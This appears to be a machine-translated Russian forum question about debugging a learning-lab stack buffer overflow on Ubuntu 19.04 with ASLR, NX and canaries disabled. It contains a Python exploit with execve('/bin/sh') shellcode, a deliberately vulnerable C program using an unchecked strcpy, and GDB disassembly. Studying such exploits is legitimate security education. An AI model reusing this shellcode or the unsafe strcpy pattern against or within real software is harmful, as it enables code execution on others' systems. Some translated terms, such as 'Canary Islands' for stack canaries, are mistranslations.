Я пытаюсь выполнить базовое переполнение буфера в стеке в Ubuntu 19.04.
Следующие контрмеры по переполнению в настоящее время отключены:
- ASLR (/ proc / sys / kernel/ randomize_va_space = 0)
- NX (Источник скомпилирован с -z execstack)
- Канарские острова (Источник скомпилирован с -fno-stack-protector)
Основное переполнениеработает нормально, после ret рип переходит к шеллкоду и выполняет первые инструкции.Однако, как только выполняется команда push, программа вылетает (Segfault).Я пропускаю некоторые активные контрмеры или в моем коде есть фундаментальный недостаток?
Я использовал GDB для анализа аварии.Однако, когда происходит сбой уязвимой программы, происходит сбой GDB.
Код Eploit (exp.py):
ret_addr = 0x7fffffffde90 - 0x100
scode = "\x31\xF6\x56\x48\xBB\x2F\x62\x69\x6E\x2F\x2F\x73\x68\x53\x54\x5F\xF7\xEE\xB0\x3B\x0F\x05"
buf = scode # Shelloce
buf += "\x41" * 242 # Padding
buf += conv(ret_addr) # Return Adress = Start address of buffer
print buf
уязвим. C:
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
char buf[256];
strcpy(buf,argv[1]);
printf("Message: %s\n",buf);
return 0;
}
Анализ GDBпосле ret в уязвимом .c:
0x7fffffffdd90 xor esi,esi <- rip
0x7fffffffdd92 push rsi
0x7fffffffdd93 movabs rbx,0x68732f2f6e69622f
0x7fffffffdd9d push rbx
0x7fffffffdd9e push rsp
0x7fffffffdd9f pop rdi
0x7fffffffdda0 imul esi
0x7fffffffdda2 mov al,0x3b
0x7fffffffdda4 syscall
Таким образом, поток команд успешно перенаправлен в шелл-код.Однако при выполнении следующей инструкции (push rsi) программа завершает работу с Segfault (как и gdb: [5] + Stopped).